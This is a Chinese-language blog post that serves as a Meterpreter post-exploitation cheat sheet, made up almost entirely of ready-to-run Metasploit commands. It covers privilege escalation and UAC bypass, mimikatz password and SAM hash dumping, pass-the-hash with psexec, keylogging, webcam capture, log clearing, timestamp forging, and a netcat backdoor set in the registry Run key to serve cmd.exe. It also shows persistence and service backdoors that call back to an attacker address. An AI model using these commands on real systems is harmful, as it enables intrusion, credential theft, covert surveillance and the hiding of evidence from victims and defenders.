• 后渗透之meterpreter使用攻略


    Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

    0x01.系统命令

    1)基本系统命令

    sessions    #sessions –h 查看帮助
    sessions -i <ID值>  #进入会话   -k  杀死会话
    background  #将当前会话放置后台
    run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
    info #查看已有模块信息
    getuid # 查看权限 
    getpid # 获取当前进程的pid
    sysinfo # 查看目标机系统信息
    ps # 查看当前活跃进程    kill <PID值> 杀死进程
    idletime #查看目标机闲置时间
    reboot / shutdown   #重启/关机
    shell #进入目标机cmd shell

    2)uictl开关键盘/鼠标

    uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
    uictl disable mouse  #禁用鼠标
    uictl disable keyboard  #禁用键盘

    3)webcam摄像头命令

    webcam_list  #查看摄像头
    webcam_snap   #通过摄像头拍照
    webcam_stream   #通过摄像头开启视频


    4)execute执行文件

    execute #在目标机中执行文件
    execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

    5)migrate进程迁移

    getpid    # 获取当前进程的pid
    ps   # 查看当前活跃进程
    migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
    kill <pid值>   #杀死进程

    6)clearav清除日志

    clearav  #清除windows中的应用程序日志、系统日志、安全日志

    0x02.文件系统命令

    1)基本文件系统命令

    getwd 或者pwd # 查看当前工作目录  
    ls
    cd
    search -f *pass*       # 搜索文件  -h查看帮助
    cat c:\lltest\lltestpasswd.txt  # 查看文件内容
    upload /tmp/hack.txt C:\lltest  # 上传文件到目标机上
    download c:\lltest\lltestpasswd.txt /tmp/ # 下载文件到本机上
    edit c:\1.txt #编辑或创建文件  没有的话,会新建文件
    rm C:\lltest\hack.txt
    mkdir lltest2  #只能在当前目录下创建文件夹
    rmdir lltest2  #只能删除当前目录下文件夹
    getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
    lcd /tmp   #操作攻击者主机 切换目录

    2)timestomp伪造时间戳

    timestomp C:// -h   #查看帮助
    timestomp -v C://2.txt   #查看时间戳
    timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

    0x03.网络命令

    1)基本网络命令

    ipconfig/ifconfig
    netstat –ano
    arp
    getproxy   #查看代理信息
    route   #查看路由

    2)portfwd端口转发

    portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口


    3)autoroute添加路由

    run autoroute –h #查看帮助
    run autoroute -s 192.168.159.0/24  #添加到目标环境网络
    run autoroute –p  #查看添加的路由

    然后可以利用arp_scanner、portscan等进行扫描

    run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
    run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389


    4)Socks4a代理

    autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

    msf> use auxiliary/server/socks4a 
    msf > set srvhost 127.0.0.1
    msf > set srvport 1080
    msf > run

    然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
    最后proxychains 使用Socks4a代理访问

    0x04.信息收集

    信息收集的脚本位于:

    /usr/share/metasploit-framework/modules/post/windows/gather
    /usr/share/metasploit-framework/modules/post/linux/gather

    信息收集的脚本较多,仅列几个常用的:

    run post/windows/gather/checkvm #是否虚拟机
    run post/linux/gather/checkvm #是否虚拟机
    run post/windows/gather/forensics/enum_drives #查看分区
    run post/windows/gather/enum_applications #获取安装软件信息
    run post/windows/gather/dumplinks   #获取最近的文件操作
    run post/windows/gather/enum_ie  #获取IE缓存
    run post/windows/gather/enum_chrome   #获取Chrome缓存
    run post/windows/gather/enum_patches  #补丁信息
    run post/windows/gather/enum_domain  #查找域控

    0x05.提权

    1)getsystem提权

    getsystem

    getsystem工作原理:
    ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
    ②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
    ③Windows服务已启动,导致与命名管道建立连接。
    ④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
    然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

    2)bypassuac

    内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

    use exploit/windows/local/bypassuac
    use exploit/windows/local/bypassuac_injection
    use windows/local/bypassuac_vbs
    use windows/local/ask

    如使用bypassuac.rb脚本:

    msf > use exploit/windows/local/bypassuac
    msf > set SESSION 2
    msf > run

    3)内核漏洞提权

    可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

    meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
    msf > use exploit/windows/local/ms13_053_schlamperei
    msf > set SESSION 2
    msf > exploit


    0x06.mimikatz抓取密码

    load mimikatz    #help mimikatz 查看帮助
    wdigest  #获取Wdigest密码
    mimikatz_command -f samdump::hashes  #执行mimikatz原始命令
    mimikatz_command -f sekurlsa::searchPasswords


    0x07.远程桌面&截屏

    enumdesktops  #查看可用的桌面
    getdesktop    #获取当前meterpreter 关联的桌面
    set_desktop   #设置meterpreter关联的桌面  -h查看帮助
    screenshot  #截屏
    use espia  #或者使用espia模块截屏  然后输入screengrab
    run vnc  #使用vnc远程桌面连接


    0x08.开启rdp&添加用户

    1)getgui命令

    run getgui –h #查看帮助
    run getgui -e #开启远程桌面
    run getgui -u lltest2 -p 123456   #添加用户
    run getgui -f 6661 –e   #3389端口转发到6661

    getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
    getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

    2)enable_rdp脚本

    run post/windows/manage/enable_rdp  #开启远程桌面
    run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
    run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

    脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
    通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

    0x09.键盘记录

    keyscan_start  #开始键盘记录
    keyscan_dump   #导出记录数据
    keyscan_stop #结束键盘记录

    0x10.sniffer抓包

    use sniffer
    sniffer_interfaces   #查看网卡
    sniffer_start 2   #选择网卡 开始抓包
    sniffer_stats 2   #查看状态
    sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
    sniffer_stop 2   #停止抓包

    0x11.注册表操作

    1)注册表基本命令

    reg –h
        -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
        enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

    2)注册表设置nc后门

    upload /usr/share/windows-binaries/nc.exe C:\windows\system32 #上传nc
    reg enumkey -k HKLM\software\microsoft\windows\currentversion\run   #枚举run下的key
    reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C:windowssystem32
    c.exe -Ldp 443 -e cmd.exe' #设置键值
    reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc   #查看键值
    
    nc -v 192.168.159.144 443  #攻击者连接nc后门



    0x12.令牌操纵

    1)incognito假冒令牌

    use incognito      #help incognito  查看帮助
    list_tokens -u    #查看可用的token
    impersonate_token 'NT AUTHORITYSYSTEM'  #假冒SYSTEM token
    或者impersonate_token NT AUTHORITY\SYSTEM #不加单引号 需使用\
    execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
    或者直接shell
    rev2self   #返回原始token

    2)steal_token窃取令牌

    steal_token <pid值>   #从指定进程中窃取token   先ps
    drop_token  #删除窃取的token

    0x13.哈希利用

    1)获取哈希

    run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
    #需要SYSTEM权限

    2)PSExec哈希传递

    通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
    前提条件:①开启445端口 smb服务;②开启admin$共享

    msf > use exploit/windows/smb/psexec
    msf > set payload windows/meterpreter/reverse_tcp
    msf > set LHOST 192.168.159.134
    msf > set LPORT 443
    msf > set RHOST 192.168.159.144
    msf >set SMBUser Administrator
    msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
    msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
    msf >exploit


    0x14.后门植入

    metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

    1)persistence启动项后门

    在C:Users***AppDataLocalTemp目录下,上传一个vbs脚本
    在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项

    run persistence –h  #查看帮助
    run persistence -X -i 5 -p 6661 -r 192.168.159.134
    #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip


    连接后门

    msf > use exploit/multi/handler
    msf > set payload windows/meterpreter/reverse_tcp
    msf > set LHOST 192.168.159.134
    msf > set LPORT 6661
    msf > exploit

    2)metsvc服务后门

    在C:Users***AppDataLocalTemp上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

    run metsvc –h   # 查看帮助
    run metsvc –A   #自动安装后门


    连接后门

    msf > use exploit/multi/handler
    msf > set payload windows/metsvc_bind_tcp
    msf > set RHOST 192.168.159.144
    msf > set LPORT 31337
    msf > exploit

    0x15.扫描脚本

    扫描的脚本位于:
    /usr/share/metasploit-framework/modules/auxiliary/scanner/
    扫描的脚本较多,仅列几个代表:

    use auxiliary/scanner/http/dir_scanner
    use auxiliary/scanner/http/jboss_vulnscan
    use auxiliary/scanner/mssql/mssql_login
    use auxiliary/scanner/mysql/mysql_version
    use auxiliary/scanner/oracle/oracle_login
  • 相关阅读:
    [leetcode]791. Custom Sort String自定义排序字符串
    [leetcode]304. Range Sum Query 2D
    [leetcode]339. Nested List Weight Sum嵌套列表加权和
    [leetcode]81. Search in Rotated Sorted Array II旋转过有序数组里找目标值II(有重)
    [leetcode]170. Two Sum III
    [leetcode]341. Flatten Nested List Iterator展开嵌套列表的迭代器
    [leetcode]445. Add Two Numbers II 两数相加II
    Node 连接mysql数据库
    Restful 表述性状态传递
    node Express 框架
  • 原文地址:https://www.cnblogs.com/wjw-zm/p/11688992.html
Copyright © 2020-2023  润新知